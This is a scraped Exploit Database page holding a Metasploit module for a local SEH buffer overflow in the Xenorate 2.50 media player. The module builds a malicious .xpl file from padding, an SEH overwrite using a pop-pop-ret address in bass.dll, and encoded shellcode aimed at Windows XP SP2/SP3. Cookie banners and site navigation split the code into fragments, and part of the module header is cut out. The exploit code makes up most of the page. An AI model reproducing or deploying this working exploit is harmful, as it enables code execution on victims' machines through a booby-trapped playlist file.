



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

# Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (Metasploit)

**EDB-ID:**

10373

**CVE:**

**EDB Verified:** 

**Author:**

[LONEFERRET GERMAYA\\_X](#)

**Type:**

[LOCAL](#)

**Exploit:**  



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
##
# $Id: xenorate_xpl_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Xenorate 2.50 (.xpl) universal Local
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
},
'DefaultOptions' =>
{
  'EXITFUNC' => 'seh',
  'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
  'Space' => 5100,
  'BadChars' => "\x00",
  'StackAdjustment' => -3500,
  'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
  [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], #
pop pop ret => bass.dll v2.3.0.2
],
'Privileged' => false,
'DisclosureDate' => 'Aug 19 2009',
'DefaultTarget' => 0))

register_options(
```

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS

```
[
  OptString.new('FILENAME', [ false, 'The file name.',
'msf.xpl' ]),
], self.class)

end

def exploit

  sploit = rand_text_alpha_upper(88)
  sploit << generate_seh_payload(target.ret)
  sploit << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)

end

end
```

Tags: [Metasploit Framework](#)Advisory/Source: [Link](#)Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >